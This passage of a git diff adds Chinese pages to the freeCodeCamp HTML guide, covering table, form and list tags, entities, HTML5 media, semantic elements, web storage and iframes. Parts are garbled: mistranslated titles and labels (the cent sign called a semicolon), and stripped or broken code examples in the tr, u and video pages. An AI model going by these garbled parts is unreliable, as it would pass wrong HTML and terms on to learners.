+[W3C学校](https://www.w3schools.com/tags/tag_style.asp)
+
+更多信息：
+
+样式标记用于为文档内的Web页面设置任何CSS样式。样式标记应嵌套在html文档的head部分中：
+
+```html
+
+<head> 
+  <style> 
+  h1 { 
+     text-align: center; 
+     font-family: sans-serif; 
+     } 
+  </style> 
+ </head> 
+```
+
+您可以根据其语法在样式标记内编写任何CSS代码。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/table-tag/index.md b/client/src/guide/chinese/html/elements/table-tag/index.md
new file mode 100644
index 0000000000..25a7a953c6
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/table-tag/index.md
@@ -0,0 +1,37 @@
+---
+title: Table Tag
+localeTitle: 表标签
+---
+## 表标签
+
+`<table>`标签允许您在网页上显示表格。
+
+### 例
+
+```html
+
+<table> 
+  <tr> 
+    <td>Row 1, Cell 1</td> 
+    <td>Row 1, Cell 2</td> 
+  </tr> 
+  <tr> 
+    <td>Row 2, Cell 1</td> 
+    <td>Row 2, Cell 2</td> 
+  </tr> 
+ </table> 
+```
+
+此代码块将生成以下输出：
+
+第1行，单元格1
+
+第1行，第2单元
+
+第2行，单元格1
+
+第2行，第2单元
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/table)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/td-tag/index.md b/client/src/guide/chinese/html/elements/td-tag/index.md
new file mode 100644
index 0000000000..e7e1ed33c9
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/td-tag/index.md
@@ -0,0 +1,38 @@
+---
+title: Td Tag
+localeTitle: Td天
+---
+## Td Tag
+
+`<td>`标签定义HTML表格中的标准单元格。
+
+HTML表有两种单元格：
+
+*   标题单元格 - 包含标题信息（使用`<th>`元素创建）
+*   标准单元格 - 包含数据（使用`<td>`元素创建）
+
+`<th>`元素中的文本默认为粗体并居中。 `<td>`元素中的文本是常规的，默认情况下是左对齐的。
+
+### 例
+
+```html
+
+<html> 
+ <head> 
+ <title>Td Tag Example</title> 
+ </head> 
+ <body> 
+ <table> 
+  <tr> 
+    <th>Header1</th> 
+    <th>Header2</th> 
+  </tr> 
+  <tr> 
+    <td>Cell A</td> 
+    <td>Cell B</td> 
+  </tr> 
+ </table> 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/textarea-tag/index.md b/client/src/guide/chinese/html/elements/textarea-tag/index.md
new file mode 100644
index 0000000000..dd60615681
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/textarea-tag/index.md
@@ -0,0 +1,22 @@
+---
+title: Textarea Tag
+localeTitle: Textarea标签
+---
+## Textarea标签
+
+HTML textarea标签允许您输入一个包含用于用户反馈或交互的文本的框。在大多数情况下，通常会将textarea用作表单的一部分。
+
+程序员使用textarea标签为用户输入创建多行字段（特别是在用户应该能够在表单上放置更长的文本时）。程序员可以为textarea标签指定不同的属性。
+
+示例代码：
+
+```html
+
+    <form> 
+      <textarea name="comment" rows="8" cols="80" maxlength="500" placeholder="Enter your comment here..." required></textarea> 
+    </form> 
+```
+
+最常见的属性： `row`和`cols`属性确定textarea的高度和宽度 `placeholder`属性指定用户可见的文本，它有助于用户了解应键入的数据 `maxlength`属性确定可以在textarea中键入的文本的最大长度，用户无法提交更多字符 `required`属性表示必须在表单提交之前填写此字段
+
+有关textarea标签及其属性的更多信息，请访问MDN或w3schools 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/th-tag/index.md b/client/src/guide/chinese/html/elements/th-tag/index.md
new file mode 100644
index 0000000000..5b4f8b4d30
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/th-tag/index.md
@@ -0,0 +1,37 @@
+---
+title: Th Tag
+localeTitle: 第二天
+---
+## 标签
+
+`<th>`标记允许您在HTML表中定义标题单元格。默认情况下，大多数浏览器会在这些标记中加粗和居中数据。
+
+### 例
+
+```html
+
+<table> 
+ <tr> 
+   <th>Movie</th> 
+   <th>Rating</th> 
+ </tr> 
+ <tr> 
+   <td>Die Hard</td> 
+   <td>5 Stars</td> 
+ </tr> 
+ </table> 
+```
+
+此标记将创建以下输出：
+
+电影
+
+评分
+
+死硬死硬的顽固的
+
+5星
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/tr-tag/index.md b/client/src/guide/chinese/html/elements/tr-tag/index.md
new file mode 100644
index 0000000000..2f6033f3b0
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/tr-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Tr Tag
+localeTitle: Tr天
+---
+`<tr>`标记定义网页上HTML表中的标准行。
+
+`<tr>`标记包含`<th>`和`<td>`标记，分别也称为表标题和表格数据。
+
+`<tr>`标签是一个封闭式标签，意味着每个打开的`<tr>`标签必须用其后续的结束标签关闭，用`</tr>`
+
+`<tr>`标签定义表中的一行。
+
+### 例
+
+\`\`\`HTML
+
+Tr标签示例
+
+标题一
+
+通常的表数据/列单元格。
+
+通常的表数据/列单元格。
+
+通常的表数据/列单元格。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/u-tag/index.md b/client/src/guide/chinese/html/elements/u-tag/index.md
new file mode 100644
index 0000000000..49b62d39cc
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/u-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: U Tag
+localeTitle: U标签
+---
+## U标签
+
+HTML `<u>`标记使用下划线呈现文本。
+
+`<u>`元素在HTML 4.01中已弃用。在HTML5中， `<u>`标签被重新定义为表示与普通文本在风格上不同的文本。这包括拼写错误的单词或中文专有名词。
+
+相反，要为文本加下划线，建议使用`<span>`标记代替`<u>` 。使用带有`underline`值的CSS `text-decoration`属性设置`<span>`标签的样式。
+
+### 例子：
+
+\`\`\`html
+
+这个段落有一个下划线 。
+```
+Underlining text with the `<span>` tag: 
+```
+
+HTML 最近每个人都在谈论freeCodeCamp 。 \`\`\`
+
+### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/u)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/elements/ul-tag/index.md b/client/src/guide/chinese/html/elements/ul-tag/index.md
new file mode 100644
index 0000000000..5be5956e5c
--- /dev/null
+++ b/client/src/guide/chinese/html/elements/ul-tag/index.md
@@ -0,0 +1,33 @@
+---
+title: Ul Tag
+localeTitle: Ul Tag
+---
+## Ul Tag
+
+无序列表`<ul>`是用于创建项目符号列表的标记。要在`<ul>`创建列表，请使用`<li>`标记。要设置列表样式，请转到CSS样式列表并进行更改。
+
+`<ul>`可以嵌套在其他列表中，并与其他标记兼容，例如`<a>` ， `<p>` ， `<button>` ，html样式标记（ `<strong>` ， `<em>`等）。
+
+### 例
+
+要创建以下内容：
+
+```html
+
+ <ul> 
+    <li>This is the bulleted list #1</li> 
+    <li>This is the bulleted list #2</li> 
+    <li>This is the bulleted list #3</li> 
+      <li> 
+        <ul> 
+          <li>This is the bulleted nested list #1</li> 
+        </ul> 
+      </li> 
+  </ul> 
+```
+
+您将使用此HTML代码： `html <html> <head> <title></title> </head> <body> <ul> <li>This is the bulleted list #1</li> <li>This is the bulleted list #2</li> <li>This is the bulleted list #3</li> <li> <ul> <li>This is the bulleted nested list #1</li> </ul> </li> </ul> </body> </html>`
+
+## 其他资源
+
+*   [有序列表`<ol>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ol-tag/index.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html-entities/index.md b/client/src/guide/chinese/html/html-entities/index.md
new file mode 100644
index 0000000000..502a7a10a8
--- /dev/null
+++ b/client/src/guide/chinese/html/html-entities/index.md
@@ -0,0 +1,49 @@
+---
+title: HTML Entities
+localeTitle: HTML实体
+---
+# HTML实体
+
+## 概观
+
+### 什么是HTML实体？
+
+HTML实体是用于替换HTML中的保留字符或键盘上未显示的字符的字符。某些字符在HTML中保留。如果在文本中使用小于（<）或大于（>）的符号，浏览器可能会将它们与标记混合在一起。
+
+### 它们用于什么？
+
+如上所述，HTML实体用于替换HTML保留的保留字符。
+
+### 你是如何使用它们的？
+
+字符实体看起来类似于：
+
+```html
+
+<!-- format &[entity_name]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &lt; 
+```
+
+要么
+
+```html
+
+<!-- &#[entity_number]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &#60; 
+```
+
+## 参考指南
+
+这绝不是一个详尽的列表，但如果以下链接不能满足您的需求，下面的链接将能够为您提供更多实体。快乐编码：领结：
+
+|人物|实体名称|实体编号|说明| | ------- | ----------- | ----------- | ------- | | | | `&#32;` |空间| | ！ | | `&#33;` |感叹号| | “| | `&#34;` |引号| | ＃| | `&#35;` |数字符号| | $ | | `&#36;` |美元符号| | ¢| `&cent;` | `&#162;` |分号| | €| `&euro;` | `&#8364;` |欧元符号| | £| `&pound;` | `&#163;` | GBP标志| | ¥| `&yen;` | `&#165;` |日元符号| | ％| | `&#37;` |百分号| | ＆| `&amp;` | `&#38;` | ＆符号| | '| | `&#39;` |撇号| | （| | `&#40;` |左/右括号| | ）| | `&#41;` |结束/右括号| | \* | | `&#42;` |星号| | + | | `&#43;` |加号| | ，| | `&#44;` |逗号| | - | | `&#45;` |连字符| | 。 | | `&#46;` |期间| | / | | `&#47;` |斜线| | ©| `&copy;` | `&#169;` |版权| | ®| `&reg;` | `&#174;` |注册商标| | “| `&quot;` | `&#34;` |双引号| | `>` | `&gt;` | `&#62;` |大于号| | `<` | `&lt;` | `&#60;` |小于标志| | `•` | `&bull;` | `&#8226` |子弹点|
+
+#### 更多信息：
+
+那里有很多HTML参考文献;一些例子是：
+
+*   [实体表 - W3](https://dev.w3.org/html5/html-author/charref)
+*   [W3学校](https://www.w3schools.com/html/html_entities.asp)
+*   [Freeformatter](https://www.freeformatter.com/html-entities.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html-forms/index.md b/client/src/guide/chinese/html/html-forms/index.md
new file mode 100644
index 0000000000..9525d354c3
--- /dev/null
+++ b/client/src/guide/chinese/html/html-forms/index.md
@@ -0,0 +1,71 @@
+---
+title: HTML Forms
+localeTitle: HTML表单
+---
+## HTML表单
+
+基本上，表单用于收集用户输入的数据，然后将其发送到服务器以进行进一步处理。它们可用于不同类型的用户输入，例如姓名，电子邮件等。
+
+表单包含围绕`<form></form>`标签的控件元素，如`input` ，可以有类似的类型：
+
+*   `text`
+*   `email`
+*   `password`
+*   `checkbox`
+*   `radio`
+*   `submit`
+*   `range`
+*   `search`
+*   `date`
+*   `time`
+*   `week`
+*   `color`
+*   `datalist`
+
+代码示例：
+
+```html
+
+<form> 
+    <label for="username">Username:</label> 
+    <input type="text" name="username" id="username"> 
+    <label for="password">Password:</label> 
+    <input type="password" name="password" id="password"> 
+    <input type="radio" name="gender" value="male">Male<br> 
+    <input type="radio" name="gender" value="female">Female<br> 
+    <input type="radio" name="gender" value="other">Other 
+    <input list="Options"> 
+    <datalist id="Options"> 
+      <option value="Option1"> 
+      <option value="Option2"> 
+      <option value="Option3"> 
+    </datalist> 
+    <input type="submit" value="Submit"> 
+    <input type="color"> 
+    <input type="checkbox" name="correct" value="correct">Correct 
+ </form> 
+```
+
+形成的其他元素可以包含：
+
+*   `textarea` - 是一个多行框，最常用于添加一些文本，例如。评论。 textarea的大小由行数和列数定义。
+*   `select` - 与`<option></option>`标签一起创建下拉选择菜单。
+*   `button` - 按钮元素可用于定义可单击按钮。
+
+有关HTML FORMS的更多信息。
+
+如果要从站点访问者收集一些数据，则需要HTML表单。例如，在用户注册期间，您希望收集姓名，电子邮件地址，信用卡等信息。
+
+表单将从站点访问者获取输入，然后将其发布到后端应用程序，如CGI，ASP脚本或PHP脚本等。后端应用程序将根据内部定义的业务逻辑对传递的数据执行所需的处理应用程序。
+
+有各种表单元素可用，如文本字段，textarea字段，下拉菜单，单选按钮，复选框等。
+
+HTML `<form>`标记用于创建HTML表单，它具有以下语法 -
+
+`html <form action = "Script URL" method = "GET|POST"> form elements like input, textarea etc. </form>`
+
+如果未定义表单方法，则默认为“GET”。
+
+表单标记还可以具有名为“target”的属性，该属性指定链接将打开的位置。它可以在浏览器选项卡，框架或当前窗口中打开。
+
+action属性定义提交表单时要执行的操作。 通常，当用户单击提交按钮时，表单数据将发送到脚本URL的网页。如果省略action属性，则操作将设置为当前页面。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html5-audio/index.md b/client/src/guide/chinese/html/html5-audio/index.md
new file mode 100644
index 0000000000..c73737986e
--- /dev/null
+++ b/client/src/guide/chinese/html/html5-audio/index.md
@@ -0,0 +1,50 @@
+---
+title: HTML5 Audio
+localeTitle: HTML5音频
+---
+## HTML5音频
+
+在HTML5之前，必须使用Adobe Flash等插件在浏览器中播放音频文件。 HTML
+
+element用于在文档中嵌入声音内容。它可能包含一个或多个音频源，使用src属性或[source](source)元素表示
+
+以下代码段添加了一个文件名为`tutorial.ogg`或`tutorial.mp3`的音频文件。该 element表示浏览器可以选择的备用音频文件。浏览器将使用第一种识别的格式。
+
+#### 例1
+
+```html
+
+<audio controls> 
+  <source src="tutorial.ogg" type="audio/ogg"> 
+  <source src="tutorial.mp3" type="audio/mpeg"> 
+ Your browser does not support the audio element. 
+ </audio> 
+```
+
+#### 例2
+
+```html
+
+<audio src="https://s3.amazonaws.com/freecodecamp/simonSound1.mp3" controls loop autoplay> 
+ </audio> 
+```
+
+`controls`属性包括播放，暂停和音量等音频控件。如果您不使用此属性，则不会显示任何控件。
+
+使用`<source>`元素可以指示浏览器可以选择的其他音频文件。浏览器将使用第一种识别格式。 `<audio>`和`</audio>`标记之间的文本可能会显示在不支持HTML5 `<audio>`元素的浏览器中。
+
+autoplay属性将在后台自动播放您的音频文件。让访问者选择播放音频被认为是更好的做法。
+
+preload属性指示如果播放器未设置为自动播放，浏览器应该执行的操作。
+
+如果提到，loop属性将在连续循环中播放您的音频文件
+
+由于这是html5，有些浏览器不支持它。您可以访问https://caniuse.com/#search=audio进行查看
+
+#### 更多信息：
+
+https://caniuse.com/#search=audio
+
+https://www.w3schools.com/html/html5\_audio.asp
+
+https://msdn.microsoft.com/en-us/library/gg589529(v=vs.85).aspx
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html5-semantic-elements/index.md b/client/src/guide/chinese/html/html5-semantic-elements/index.md
new file mode 100644
index 0000000000..666dddb604
--- /dev/null
+++ b/client/src/guide/chinese/html/html5-semantic-elements/index.md
@@ -0,0 +1,204 @@
+---
+title: HTML5 Semantic Elements
+localeTitle: HTML5语义元素
+---
+## HTML5语义元素
+
+语义HTML元素以人类和机器可读的方式清楚地描述了它的含义。诸如`<header>` ， `<footer>`和`<article>`元素都被认为是语义的，因为它们准确地描述了元素的用途和它们内部的内容类型。
+
+### 快速历史
+
+HTML最初是作为标记语言创建的，用于描述早期互联网上的文档。随着互联网的发展和被更多人采用，它的需求也发生了变化。互联网最初用于共享科学文档的地方，现在人们也想分享其他东西。很快，人们开始希望让网络看起来更好。因为Web最初并不是为了设计而构建的，所以程序员使用不同的hack来以不同的方式布局。程序员不是使用`<table></table>`来使用`<table></table>`来描述信息，而是使用它们来定位页面上的其他元素。随着视觉设计布局的使用的进展，程序员开始使用像`<div>`这样的通用“非语义”标签。他们经常会给这些元素一个`class`或`id`属性来描述它们的目的。例如，代替`<header>`它通常被写为`<div class="header">` 。由于HTML5仍然相对较新，因此今天在网站上使用非语义元素仍然很常见。
+
+#### 新语义元素列表
+
+HTML5中添加的语义元素是：
+
+*   `<article>`
+*   `<aside>`
+*   `<details>`
+*   `<figcaption>`
+*   `<figure>`
+*   `<footer>`
+*   `<header>`
+*   `<main>`
+*   `<mark>`
+*   `<nav>`
+*   `<section>`
+*   `<summary>`
+*   `<time>`
+
+诸如`<header>` ， `<nav>` ， `<section>` ， `<article>` ， `<aside>`和`<footer>`类的元素或多或少地像`<div>`元素一样。他们将其他元素组合成页面部分。但是，如果`<div>`标记可以包含任何类型的信息，则很容易识别语义`<header>`区域中的信息类型。
+
+**w3schools的语义元素布局示例**
+
+![由w3schools布置页面的语义元素](https://www.w3schools.com/html/img_sem_elements.gif)
+
+### 语义元素的好处
+
+要了解语义元素的好处，这里有两段HTML代码。第一个代码块使用语义元素：
+```
+<header></header> 
+ <section> 
+    <article> 
+        <figure> 
+            <img> 
+            <figcaption></figcaption> 
+        </figure> 
+    </article> 
+ </section> 
+ <footer></footer> 
+```
+
+虽然第二个代码块使用非语义元素：
+```
+<div id="header"></div> 
+ <div class="section"> 
+    <div class="article"> 
+        <div class="figure"> 
+            <img> 
+            <div class="figcaption"></div> 
+        </div> 
+    </div> 
+ </div> 
+ <div id="footer"></div> 
+```
+
+首先，它更**容易阅读** 。这可能是您在使用语义元素查看第一个代码块时首先注意到的事情。这是一个小例子，但作为程序员，您可以阅读数百或数千行代码。阅读和理解代码越容易，就越容易实现。
+
+它具有**更大的可访问性** 。您不是唯一一个发现语义元素更容易理解的人。搜索引擎和辅助技术（如视力障碍用户的屏幕阅读器）也能够更好地了解您网站的背景和内容，这意味着您的用户可以获得更好的体验。
+
+总的来说，语义元素也会导致更**一致的代码** 。使用非语义元素创建标题时，不同的程序员可能会将其写为`<div class="header">` ， `<div id="header">` ， `<div class="head">`或简单地`<div>` 。您可以通过多种方式创建标题元素，它们都取决于程序员的个人偏好。通过创建标准语义元素，它使每个人都更容易。
+
+自2014年10月起，HTML4升级为HTML5，以及一些新的“语义”元素。直到今天，我们中的一些人可能仍然对为什么这么多不同的元素似乎没有任何重大变化感到困惑。
+
+#### `&#60;section&#62;`和`&#60;article&#62;`
+
+“有什么区别？”，你可能会问。这两个元素都用于分割内容，是的，它们绝对可以互换使用。这是在哪种情况下的问题。 HTML4只提供了一种类型的容器元素，即`&#60;div&#62;` 。虽然这仍然在HTML5中使用，但HTML5为我们提供了`&#60;section&#62;`和`&#60;article&#62;`以某种方式取代`&#60;div&#62;` 。
+
+`&#60;section&#62;`和`&#60;article&#62;`元素在概念上是相似的和可互换的。要确定您应选择哪一项，请注意以下事项：
+
+1.  文章旨在可独立分发或重复使用。
+2.  一节是内容的主题分组。
+
+```html
+
+<section> 
+  <p>Top Stories</p> 
+  <section> 
+    <p>News</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+  <section> 
+    <p>Sport</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+ </section> 
+```
+
+#### `&#60;header&#62;`和`&#60;hgroup&#62;`
+
+`&#60;header&#62;`元素通常位于文档，部分或文章的顶部，通常包含主标题和一些导航和搜索工具。
+
+```html
+
+<header> 
+  <h1>Company A</h1> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+  <form target="/search"> 
+    <input name="q" type="search" /> 
+    <input type="submit" /> 
+  </form> 
+ </header> 
+```
+
+`&#60;hgroup&#62;`如果您希望主标题包含一个或多个子标题，则应使用该元素。
+
+```html
+
+<hgroup> 
+  <h1>Heading 1</h1> 
+  <h2>Subheading 1</h2> 
+  <h2>Subheading 2</h2> 
+ </hgroup> 
+```
+
+记住， `&#60;header&#62;` element可以包含任何内容，但是`&#60;hgroup&#62;` element只能包含其他标题，即`&#60;h1&#62;`到`&#60;h6&#62;`并包括`&#60;hgroup&#62;` 。
+
+#### `&#60;aside&#62;`
+
+`&#60;aside&#62;` element适用于不属于其出现的文本流的一部分的内容，但仍以某种方式相关。这个`&#60;aside&#62;`作为主要内容的侧边栏。
+
+```html
+
+<aside> 
+  <p>This is a sidebar, for example a terminology definition or a short background to a historical figure.</p> 
+ </aside> 
+```
+
+在HTML5之前，我们的菜单是用`&#60;ul&#62;`创建的`&#60;ul&#62;`的和`&#60;li&#62;`的。现在，与这些一起，我们可以将菜单项与`&#60;nav&#62;` ，用于在您的页面之间导航。你可以拥有任意数量的`&#60;nav&#62;`例如，页面上的元素，通常在顶部（在`&#60;header&#62;` ）和侧边栏中的本地导航（在`&#60;aside&#62;`元素中）进行全局导航。
+
+```html
+
+<nav> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+ </nav> 
+```
+
+#### `&#60;footer&#62;`
+
+如果有一个`&#60;header&#62;`必须有一个`&#60;footer&#62;` 。 A `&#60;footer&#62;`通常位于文档，部分或文章的底部。就像`&#60;header&#62;`内容通常是元信息，例如作者详细信息，法律信息和/或相关信息的链接。包含`&#60;section&#62;`也是有效的`&#60;section&#62;`页脚内的元素。
+
+```html
+
+<footer>&copy;Company A</footer> 
+```
+
+#### `&#60;small&#62;`
+
+`&#60;small&#62;`元素经常出现在一个`&#60;footer&#62;`或者`&#60;aside&#62;`通常包含版权信息或法律免责声明的元素，以及其他此类细则。但是，这并不是为了使文本更小。它只是描述其内容，而不是处方表述。
+
+```html
+
+<footer><small>&copy;Company A</small> Date</footer> 
+```
+
+#### `&#60;time&#62;`
+
+`&#60;time&#62;` element允许将明确的ISO 8601日期附加到该日期的人类可读版本。
+
+```html
+
+<time datetime="2017-10-31T11:21:00+02:00">Tuesday, 31 October 2017</time> 
+```
+
+为什么要打扰`&#60;time&#62;` ？虽然人类可以通过正常方式读取可以通过上下文消除歧义的时间，但计算机可以读取ISO 8601日期并查看日期，时间和时区。
+
+#### `&#60;figure&#62;`和`&#60;figcaption&#62;`
+
+`&#60;figure&#62;`用于包装图像内容，以及`&#60;figcaption&#62;`是为你的形象加上标题。
+
+```html
+
+<figure> 
+  <img src="https://en.wikipedia.org/wiki/File:Shadow_of_Mordor_cover_art.jpg" alt="Shadow of Mordor" /> 
+  <figcaption>Cover art for Middle-earth: Shadow of Mordor</figcaption> 
+ </figure> 
+```
+
+### 了解有关新HTML5元素的更多信息：
+
+*   [w3schools](https://www.w3schools.com/html/html5_semantic_elements.asp)提供了许多新闻元素的简单明了的描述以及它们应该如何/在何处使用。
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element)还为所有HTML元素提供了很好的参考，并深入研究每个元素。
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html5-video/index.md b/client/src/guide/chinese/html/html5-video/index.md
new file mode 100644
index 0000000000..2619079db8
--- /dev/null
+++ b/client/src/guide/chinese/html/html5-video/index.md
@@ -0,0 +1,64 @@
+---
+title: HTML5 Video
+localeTitle: HTML5视频
+---
+## HTML5视频
+
+在HTML5之前，为了在网页中播放视频，您需要使用插件，如Adobe Flash Player。随着HTML5的引入，您现在可以将其直接放入页面本身。 HTML 标签用于在Web文档中嵌入视频。它可能包含一个或多个视频源，使用src属性或[source](source)元素表示。
+
+要将视频文件嵌入到网页中，只需添加此代码段并更改音频文件的src即可。
+
+\`\`\`HTML   您的浏览器不支持视频元素。请将其更新至最新版本。
+```
+The controls attribute includes video controls, similar to play, pause, and volume. 
+ 
+ This feature is supported by all modern/updated browsers. However, not all support the same video file format. My recommendation for a wide range of compatibilty is MP4, as it is the most widely accepted format. There are also two other formats (WebM and Ogg) that are supported in Chrome, Firefox, and Opera. 
+ 
+ The <source> element enables you to indicate alternative video files which the browser may choose from. The browser will utilize the first recognized format. 
+ In HTML5, there are 3 supported video formats: MP4, WebM, and Ogg. 
+ 
+ The text between the <video> and </video> tags will only be displayed in browsers that do not support the <video> element. 
+ Since this is html5, some browsers do not support it. You can check the support at https://caniuse.com/#search=audio. 
+ 
+ 
+ There are several different elements of the video tag, many of these explanations are based on Mozilla's web docs (linked below). There are even more if you click the link at the bottom. 
+ 
+ #### autoplay 
+ 
+ "autoplay" can be set to either true or false. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. If set to true, the video will begin playing as soon as enough of the video has buffered for it to be able to play. Many people find autoplaying videos as disruptive or annoying so use this feature sparingly. Also note, that some mobile browsers, such as Safari for iOS, ignore this attribute. 
+```
+
+HTML
+
+  
+```
+#### poster 
+ 
+ The "poster" attribute is the image that shows on the video until the user clicks to play it. 
+```
+
+HTML
+
+  
+```
+#### controls 
+ 
+ The "controls" attribute can be set to true or false and will handle whether controls such as the play/pause button or volume slider appear. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. 
+```
+
+HTML
+
+  
+
+\`\`\`
+
+还可以添加更多属性，这些属性是可选的，用于自定义页面中的视频播放器。要了解更多信息，请单击下面的链接。
+
+## 更多信息：
+
+*   [W3Schools - HTML5视频](https://www.w3schools.com/html/html5_video.asp)
+*   [Mozilla网络文档 - 视频](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video)
+*   [维基百科 - HTML5视频](https://en.wikipedia.org/wiki/HTML5_video)
+*   [HTML5 Rocks - HTML5视频](https://www.html5rocks.com/en/tutorials/video/basics/)
+*   [我可以使用视频吗？](https://caniuse.com/#search=video)
+*   [如何使用HTML5在您的网页上播放视频文件](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/samples/hh924821(v=vs.85))
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/html5-web-storage/index.md b/client/src/guide/chinese/html/html5-web-storage/index.md
new file mode 100644
index 0000000000..34065a7bb0
--- /dev/null
+++ b/client/src/guide/chinese/html/html5-web-storage/index.md
@@ -0,0 +1,54 @@
+---
+title: HTML5 Web Storage
+localeTitle: HTML5网络存储
+---
+## HTML5网络存储
+
+Web存储允许Web应用程序在每个源（每个域和协议）的浏览器存储中存储多达5MB的信息。
+
+### Web存储的类型
+
+有两个对象用于在客户端上存储数据：
+
+`window.localStorage` ：存储没有过期日期的数据，直到删除为止。
+
+```javascript
+// Store Item 
+ localStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ localStorage.getItem("foo"); //returns "bar" 
+```
+
+`window.sessionStorage` ：存储一个会话的数据，当浏览器/浏览器选项卡关闭时，数据会丢失。
+
+```javascript
+// Store Item 
+ sessionStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ sessionStorage.getItem("foo"); //returns "bar" 
+```
+
+由于当前实现仅支持字符串到字符串映射，因此需要序列化和反序列化其他数据结构。
+
+您可以使用JSON.stringify（）和JSON.parse（）来完成此操作。
+
+例如，对于给定的JSON
+```
+var jsonObject = { 'one': 1, 'two': 2, 'three': 3 }; 
+```
+
+我们首先将JSON对象转换为字符串并保存在本地存储中：
+```
+localStorage.setItem('jsonObjectString', JSON.stringify(jsonObject)); 
+```
+
+要从存储在本地存储中的字符串中获取JSON对象：
+```
+var jsonObject = JSON.parse(localStorage.getItem('jsonObjectString')); 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) [HTML5 Rocks](https://www.html5rocks.com/en/features/storage) [W3学校](https://www.w3schools.com/html/html5_webstorage.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/html/iframes/index.md b/client/src/guide/chinese/html/iframes/index.md
new file mode 100644
index 0000000000..ea545975b2
--- /dev/null
+++ b/client/src/guide/chinese/html/iframes/index.md
@@ -0,0 +1,65 @@
+---
+title: Iframes
+localeTitle: I帧
+---
+## I帧
+
+HTML `<iframe>`元素表示内联框架，允许您在当前HTML文档中包含独立的HTML文档。 `<iframe>`通常用于嵌入第三方媒体，您自己的媒体，小部件，代码段或嵌入第三方小程序（如付款表单）。
+
+### 属性
+
+下面列出了一些`<iframe>`的属性：
+
+|属性|说明| | --- | --- | | `allowfullscreen` |设置为true以允许将帧置于全屏模式| | `frameborder` |告诉浏览器在框架周围绘制边框（默认设置为1）| | `height` | CSS像素中帧的高度 | `name` |框架的名称| | `src` |要嵌入的网页的URL | `width` | CSS像素中帧的宽度|
+
+### 例子
+
+使用`<iframe>`嵌入YouTube视频：
+
+```html
+
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" 
+ frameborder="0" allowfullscreen></iframe> 
+```
+
+使用`<iframe>`嵌入Google地图：
+
+```html
+
+<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d774386.2436462595!2d-74.53874786161381!3d40.69718109704434!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c24fa5d33f083b%3A0xc80b8f06e177fe62!2sNew+York%2C+NY%2C+USA!5e0!3m2!1sen!2sau!4v1508405930424" 
+ width="600" height="450" frameborder="0" style="border:0" allowfullscreen></iframe> 
+```
+
+### 替代文字
+
+开始和结束`<iframe>`标记之间的内容用作替代文本，如果查看者的浏览器不支持iframe，则显示该文本。
+
+```html
+
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" frameborder="0"> 
+  <p>Your browser does not support iframes.</p> 
+ </iframe> 
+```
+
+### 定位链接中的iframe
+
+任何`<a>`链接都可以定位`<iframe>`元素的内容。它不是将浏览器窗口重定向到链接的网页，而是重定向`<iframe>` 。为此， `<a>`元素的`target`属性必须与`<iframe>`的`name`属性匹配。
+
+```html
+
+<iframe width="560" height="315" src="about:blank" frameborder="0" name="iframe-redir"></iframe> 
+ 
+ <p><a href="https://www.youtube.com/embed/v8kFT4I31es" target="iframe-redir">Redirect the Iframe</a></p> 
+```
+
+此示例最初会显示空白`<iframe>` ，但是当您点击上面的链接时，它会重定向`<iframe>`以显示YouTube视频。
+
+### Javascript和iframe
+
+嵌入在`<iframe>`中的文档可以像往常一样在自己的上下文中运行JavaScript（不会影响父网页）。
+
+父网页与嵌入的`<iframe>`内容之间的任何脚本交互都受同源策略的约束。这意味着，如果您从其他域加载`<iframe>`的内容，浏览器将阻止使用JavaScript访问该内容的任何尝试。
+
+### 更多信息：
+
